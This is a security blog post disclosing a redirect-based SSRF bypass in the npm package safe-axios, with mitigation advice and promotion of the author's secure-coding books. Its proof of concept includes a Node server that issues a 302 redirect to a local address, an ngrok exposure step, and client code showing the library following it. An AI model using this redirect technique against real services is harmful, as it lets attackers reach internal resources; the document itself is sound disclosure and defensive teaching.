~ 4 min read

SSRF Shenanigans in safe-axios: Redirects Open the Backdoor

share on
Dive into the intricacies of a critical SSRF vulnerability in `safe-axios`, a popular npm package designed to protect against SSRF attacks. Learn how attackers exploit redirects to bypass security measures and access unauthorized resources.

Brace yourselves for an in-depth exploration of a critical yet common SSRF vulnerability within safe-axios, an npm package designed to shield applications from SSRF (Server-Side Request Forgery) attacks.

While safe-axios attempts to validate URLs, a gap in its defenses allows malicious actors to exploit redirects for nefarious purposes. Let’s dissect the technical details, craft a proof-of-concept exploit, and emphasize the importance of robust SSRF protection strategies.

Demystifying safe-axios: A (Partially) Fortified Wall

SSRF vulnerabilities arise when an application unwittingly makes requests to external servers based on user-controlled input. This can be exploited to steal sensitive data, execute unauthorized actions, or disrupt operations.

safe-axios steps in as a defense mechanism. It validates URLs through a static denylist of IP addresses and ranges. If the resolved IP falls within this list, the request is flagged as potentially risky. However, this approach is not foolproof.

The Vulnerability: Redirects Lead Us Astray

The crux of the issue lies in how safe-axios handles redirects. While it validates the initial URL, it fails to consider subsequent requests triggered by the server’s response. Here’s the scenario:

  • An attacker provides a seemingly harmless URL (e.g., https://attacker.com/legitimate).
  • safe-axios validates the URL and allows the request.
  • The attacker’s server responds with a redirect header (e.g., Location: http://internal-server:8080/sensitive).
  • safe-axios, lacking proper redirect validation, blindly follows the redirect, potentially reaching an internal or unauthorized resource.

This bypass hinges on the attacker’s ability to control the redirect location. By crafting a response with a strategically placed Location header, they can manipulate safe-axios into fetching unauthorized data or executing unintended actions.

đź‘‹ Just a quick break

I'm Liran Tal and I'm the author of the newest series of expert Node.js Secure Coding books. Check it out and level up your JavaScript

Node.js Secure Coding: Defending Against Command Injection Vulnerabilities
Node.js Secure Coding: Prevention and Exploitation of Path Traversal Vulnerabilities

Crafting the SSRF Exploit

To illustrate this vulnerability, let’s set up a simple demonstration environment:

  1. Install the safe-axios package:
Terminal window
npm install safe-axios
  1. Create a local server that listens on localhost:3000 and serves as the attacker’s “legitimate” remote server:
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(302, { 'Location': 'http://localhost:3002' });
res.end();
});
server.listen(3000, () => {
console.log('Server listening on port 3000');
});

Expose this server via legitimate public IP address such as via ngrok: ngrok http 3000

  1. Create a second local server that listens on localhost:3002 and serves as the attacker’s malicious server:
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('Hello, world!\n');
res.end();
});
server.listen(3002, () => {
console.log('Server listening on port 3002');
});

Run this server too.

  1. Define an app.js file with the programmatic API of safe-axios:
import SafeAxios from 'safe-axios';
async function main() {
const safeAxios = SafeAxios.default;
// safe-axios successfully blocks this request
// const data = await safeAxios.request({url: 'https://localhost:3000/test'});
// safe-axios fails to block this request which uses a SSRF Redirect technique to
// resolve to a public IP address that then includes a private IP address as a redirect
// in a Location header, which safeAxios follows by default
const data = await safeAxios.request({url: 'https://2550-4-180-183-243.ngrok-free.app/test'});
console.log(data)
}
main();
  1. Running the Show: start both local servers (localhost:3000 and localhost:3002). Run the app.js script. Observe how safe-axios allows the request and retrieves data from the attacker’s server, bypassing the intended SSRF protection.

Conclusion: Safeguarding Against SSRF Shenanigans

This vulnerability underscores the importance of comprehensive SSRF protection. While safe-axios provides a solid foundation, it falls short in handling redirects securely. To mitigate such risks, consider the following strategies:

  • Implement strict URL validation and denylist checks for both initial requests and subsequent redirects.
  • Enforce proper handling of HTTP status codes and headers to prevent unauthorized access.
  • Do not follow redirects without thorough validation, especially when dealing with user-controlled input.
  • Regularly update security libraries and packages to patch known vulnerabilities and strengthen defenses.

SSRF also presents other networking-related challenges for developers to overcome, such as DNS rebinding attacks. It is also highly susceptible to cloud-based attacks, where attackers exploit cloud services to bypass traditional network security measures through a TOCTOU (Time of Check to Time of Use) vulnerabilities.

Good security practices, and following secure coding conventions such as those depicted in my Node.js Secure Coding educational training are essential to teach developers how to avoid common pitfalls and protect their applications from SSRF and other threats.


Node.js Security Newsletter

Subscribe to get everything in and around the Node.js security ecosystem, direct to your inbox.

    JavaScript & web security insights, latest security vulnerabilities, hands-on secure code insights, npm ecosystem incidents, Node.js runtime feature updates, Bun and Deno runtime updates, secure coding best practices, malware, malicious packages, and more.